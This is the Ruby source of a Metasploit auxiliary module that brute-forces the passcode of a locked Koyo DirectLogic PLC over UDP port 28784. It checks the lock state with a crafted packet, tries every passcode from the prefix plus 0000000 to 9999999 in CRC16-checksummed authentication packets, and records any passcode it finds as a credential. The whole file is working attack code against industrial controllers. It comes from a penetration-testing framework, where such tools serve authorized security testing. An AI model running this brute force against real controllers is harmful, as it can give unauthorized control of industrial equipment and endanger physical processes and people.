## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## # msfdev is going to want a bunch of other stuff for style/compat but this works # TODO: Make into a real AuthBrute module, although the password pattern is fixed class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::Udp include Msf::Auxiliary::Report include Msf::Auxiliary::Scanner def initialize super( 'Name' => 'Koyo DirectLogic PLC Password Brute Force Utility', 'Description' => %q{ This module attempts to authenticate to a locked Koyo DirectLogic PLC. The PLC uses a restrictive passcode, which can be A0000000 through A9999999. The "A" prefix can also be changed by the administrator to any other character, which can be set through the PREFIX option of this module. This module is based on the original 'koyobrute.rb' Basecamp module from DigitalBond. }, 'Author' => [ 'K. Reid Wightman ', # original module 'todb' # Metasploit fixups ], 'DisclosureDate' => 'Jan 19 2012', 'License' => MSF_LICENSE, 'References' => [ [ 'URL', 'http://www.digitalbond.com/tools/basecamp/metasploit-modules/' ] ] ) register_options( [ OptInt.new('RECV_TIMEOUT', [false, "Time (in seconds) to wait between packets", 3]), OptString.new('PREFIX', [true, 'The prefix to use for the password (default: A)', "A"]), Opt::RPORT(28784) ]) end @@CCITT_16 = [ 0x0000, 0x1021, 0x2042, 0x3063, 0x4084, 0x50A5, 0x60C6, 0x70E7, 0x8108, 0x9129, 0xA14A, 0xB16B, 0xC18C, 0xD1AD, 0xE1CE, 0xF1EF, 0x1231, 0x0210, 0x3273, 0x2252, 0x52B5, 0x4294, 0x72F7, 0x62D6, 0x9339, 0x8318, 0xB37B, 0xA35A, 0xD3BD, 0xC39C, 0xF3FF, 0xE3DE, 0x2462, 0x3443, 0x0420, 0x1401, 0x64E6, 0x74C7, 0x44A4, 0x5485, 0xA56A, 0xB54B, 0x8528, 0x9509, 0xE5EE, 0xF5CF, 0xC5AC, 0xD58D, 0x3653, 0x2672, 0x1611, 0x0630, 0x76D7, 0x66F6, 0x5695, 0x46B4, 0xB75B, 0xA77A, 0x9719, 0x8738, 0xF7DF, 0xE7FE, 0xD79D, 0xC7BC, 0x48C4, 0x58E5, 0x6886, 0x78A7, 0x0840, 0x1861, 0x2802, 0x3823, 0xC9CC, 0xD9ED, 0xE98E, 0xF9AF, 0x8948, 0x9969, 0xA90A, 0xB92B, 0x5AF5, 0x4AD4, 0x7AB7, 0x6A96, 0x1A71, 0x0A50, 0x3A33, 0x2A12, 0xDBFD, 0xCBDC, 0xFBBF, 0xEB9E, 0x9B79, 0x8B58, 0xBB3B, 0xAB1A, 0x6CA6, 0x7C87, 0x4CE4, 0x5CC5, 0x2C22, 0x3C03, 0x0C60, 0x1C41, 0xEDAE, 0xFD8F, 0xCDEC, 0xDDCD, 0xAD2A, 0xBD0B, 0x8D68, 0x9D49, 0x7E97, 0x6EB6, 0x5ED5, 0x4EF4, 0x3E13, 0x2E32, 0x1E51, 0x0E70, 0xFF9F, 0xEFBE, 0xDFDD, 0xCFFC, 0xBF1B, 0xAF3A, 0x9F59, 0x8F78, 0x9188, 0x81A9, 0xB1CA, 0xA1EB, 0xD10C, 0xC12D, 0xF14E, 0xE16F, 0x1080, 0x00A1, 0x30C2, 0x20E3, 0x5004, 0x4025, 0x7046, 0x6067, 0x83B9, 0x9398, 0xA3FB, 0xB3DA, 0xC33D, 0xD31C, 0xE37F, 0xF35E, 0x02B1, 0x1290, 0x22F3, 0x32D2, 0x4235, 0x5214, 0x6277, 0x7256, 0xB5EA, 0xA5CB, 0x95A8, 0x8589, 0xF56E, 0xE54F, 0xD52C, 0xC50D, 0x34E2, 0x24C3, 0x14A0, 0x0481, 0x7466, 0x6447, 0x5424, 0x4405, 0xA7DB, 0xB7FA, 0x8799, 0x97B8, 0xE75F, 0xF77E, 0xC71D, 0xD73C, 0x26D3, 0x36F2, 0x0691, 0x16B0, 0x6657, 0x7676, 0x4615, 0x5634, 0xD94C, 0xC96D, 0xF90E, 0xE92F, 0x99C8, 0x89E9, 0xB98A, 0xA9AB, 0x5844, 0x4865, 0x7806, 0x6827, 0x18C0, 0x08E1, 0x3882, 0x28A3, 0xCB7D, 0xDB5C, 0xEB3F, 0xFB1E, 0x8BF9, 0x9BD8, 0xABBB, 0xBB9A, 0x4A75, 0x5A54, 0x6A37, 0x7A16, 0x0AF1, 0x1AD0, 0x2AB3, 0x3A92, 0xFD2E, 0xED0F, 0xDD6C, 0xCD4D, 0xBDAA, 0xAD8B, 0x9DE8, 0x8DC9, 0x7C26, 0x6C07, 0x5C64, 0x4C45, 0x3CA2, 0x2C83, 0x1CE0, 0x0CC1, 0xEF1F, 0xFF3E, 0xCF5D, 0xDF7C, 0xAF9B, 0xBFBA, 0x8FD9, 0x9FF8, 0x6E17, 0x7E36, 0x4E55, 0x5E74, 0x2E93, 0x3EB2, 0x0ED1, 0x1EF0 ] def run_host(ip) # Create a socket in order to receive responses from a non-default IP @udp_sock = Rex::Socket::Udp.create( 'PeerHost' => rhost, 'PeerPort' => rport.to_i, 'Context' => {'Msf' => framework, 'MsfExploit' => self} ) add_socket(@udp_sock) print_status("#{rhost}:#{rport} - KOYO - Checking the controller for locked memory...") if unlock_check # TODO: Report a vulnerability for an unlocked controller? print_good("#{rhost}:#{rport} - Unlocked!") return else print_status("#{rhost}:#{rport} - KOYO - Controller locked; commencing bruteforce...") end # TODO: Consider sort_by {rand} in order to avoid sequential guessing # or something fancier (0..9999999).each do |i| passcode = datastore['PREFIX'] + i.to_s.rjust(7,'0') vprint_status("#{rhost}:#{rport} - KOYO - Trying #{passcode}") bytes = passcode.scan(/../).map { |x| x.to_i(16) } passstr = bytes.pack("C*") res = try_auth(passstr) next if not res print_good "#{rhost}:#{rport} - KOYO - Found passcode: #{passcode}" report_cred( ip: rhost, port: rport.to_i, service_name: 'koyo', user: '', password: passcode, proof: res ) break end end def report_cred(opts) service_data = { address: opts[:ip], port: opts[:port], service_name: opts[:service_name], protocol: 'udp', workspace_id: myworkspace_id } credential_data = { origin_type: :service, module_fullname: fullname, username: opts[:user], private_data: opts[:password], private_type: :password }.merge(service_data) login_data = { core: create_credential(credential_data), status: Metasploit::Model::Login::Status::UNTRIED, proof: opts[:proof] }.merge(service_data) create_credential_login(login_data) end def crc16(buf, crc=0) buf.each_byte{|x| crc = ((crc << 8) ^ @@CCITT_16[( crc >> 8) ^ x]) & 0xffff } [crc].pack("v") end def unlock_check checkpacket = "HAP\xe6\x01\x6e\x68\x0d\x00\x1a\x00\x09\x00\x01\x50\x01\x02\x00\x01\x00\x17\x52" @udp_sock.sendto(checkpacket, rhost, rport.to_i) recvpacks = 0 # TODO: Since the packet count is critical, consider using Capture instead, # but that requires root which is mildly annoying and not cross-platform. # IOW, not a hugely good way to solve this via packet counting, given the nature # of UDP. # # Another way to speed things up is to use fancy threading, but that's for another # day. while (r = @udp_sock.recvfrom(65535, 0.1) and recvpacks < 2) res = r[0] if res.length == 269 # auth reply packet if res[17,1] == "\x00" and res[19,1] == "\xD2" # Magic bytes return true end end recvpacks += 1 end return false end def try_auth(passstr) data = "\x1a\x00\x0d\x00\x01\x51\x01\x19\x02\x04\x00" + passstr + "\x17\xaf" header = "HAP" header += "\xe5\x01" # random session ID header += crc16(data) header += [data.length].pack("v") authpacket = header + data @udp_sock.sendto(authpacket, rhost, rport.to_i) 2.times { @udp_sock.get(recv_timeout) } # talk to the hand status = unlock_check return status end def recv_timeout if datastore['RECV_TIMEOUT'].to_i.zero? 3 else datastore['RECV_TIMEOUT'].to_i.abs end end end